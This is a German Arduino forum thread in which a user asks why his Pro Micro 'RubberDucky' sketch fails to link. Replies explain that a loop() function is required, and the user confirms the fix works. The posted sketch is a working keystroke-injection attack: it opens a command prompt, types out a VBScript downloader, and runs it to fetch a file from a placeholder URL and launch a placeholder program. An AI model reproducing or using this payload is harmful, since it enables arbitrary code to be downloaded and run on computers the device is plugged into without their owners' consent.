fehler in meinem Code

Hey Community
Ich nutze meinen Arduino Pro micro als eine art RubberDucky, aber immerwen ich versuche den Code bekomme ich den folgenden Fehlercode:

C:\Users\jonah\AppData\Local\Temp\ccJoj82N.ltrans0.ltrans.o: In function `main':

C:\Program Files (x86)\Arduino\hardware\arduino\avr\cores\arduino/main.cpp:46: undefined reference to `loop'

collect2.exe: error: ld returned 1 exit status

Wie ihr sehen könnt hab ich keine loop function oder eine Main function.

#include "Keyboard_DE.h"

void typeKey(uint8_t key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */
void setup()
{
pinMode(3, INPUT_PULLUP);
if (digitalRead(3) == LOW){
while(1);
}
  // Begining the Keyboard stream
  Keyboard.begin();

  // Wait 500ms
  delay(500);

  typeKey(KEY_ESC);

  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_ESC);
  Keyboard.releaseAll();

  delay(400);

  Keyboard.print(F("cmd"));

  delay(400);

  typeKey(KEY_RETURN);

  delay(400);

  Keyboard.print(F("copy con download.vbs"));

  typeKey(KEY_RETURN);

  Keyboard.print(F("Set args = WScript.Arguments:a = split(args(0), \"/\")(UBound(split(args(0),\"/\")))"));

  typeKey(KEY_RETURN);

  Keyboard.print(F("Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\"):objXMLHTTP.open \"GET\", args(0), false:objXMLHTTP.send()"));

  typeKey(KEY_RETURN);

  Keyboard.print(F("If objXMLHTTP.Status = 200 Then"));

  typeKey(KEY_RETURN);

  Keyboard.print(F("Set objADOStream = CreateObject(\"ADODB.Stream\"):objADOStream.Open"));

  typeKey(KEY_RETURN);

  Keyboard.print(F("objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0"));

  typeKey(KEY_RETURN);

  Keyboard.print(F("Set objFSO = Createobject(\"Scripting.FileSystemObject\"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a"));

  typeKey(KEY_RETURN);

  Keyboard.print(F("objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing"));

  typeKey(KEY_RETURN);

  Keyboard.print(F("End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing"));

  typeKey(KEY_RETURN);

  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('z');
  Keyboard.releaseAll();

  typeKey(KEY_RETURN);

  Keyboard.print(F("cscript download.vbs <RANDOM URL>"));

  typeKey(KEY_RETURN);

  Keyboard.print(F("<RANDOM PROGRAMM>"));

  typeKey(KEY_RETURN);

  Keyboard.print(F("exit"));

  typeKey(KEY_RETURN);

  // Ending stream
  Keyboard.end();
}

Habt ihr irgentwelche tips, wodran es liegen könnte?

Grüße Jonah

Dann setze doch mal eine leere loop mit rein und teste.

Dann schreibe doch einfach drunter:

void loop() {}

Ich habe mir Deinen Code nicht angeschaut.

Gruß Tommy

Hallo Jonah,

jonahsvoboda:
Wie ihr sehen könnt hab ich keine loop function oder eine Main function.

Doch eine main() Funktion hast Du schon - Du siehst sie nur nicht. Die ist Bestandteil des Arduino-Core, der immer mit zum Sketch dazugebunden wird. Und dass Du keine loop-Funktion hast, ist genau das was der Linker bemängelt. Die wird nämlich in main() aufgerufen, und deshalb muss die zwingend vorhanden sein.

Ups achso. Funktoniert jetzt Danke.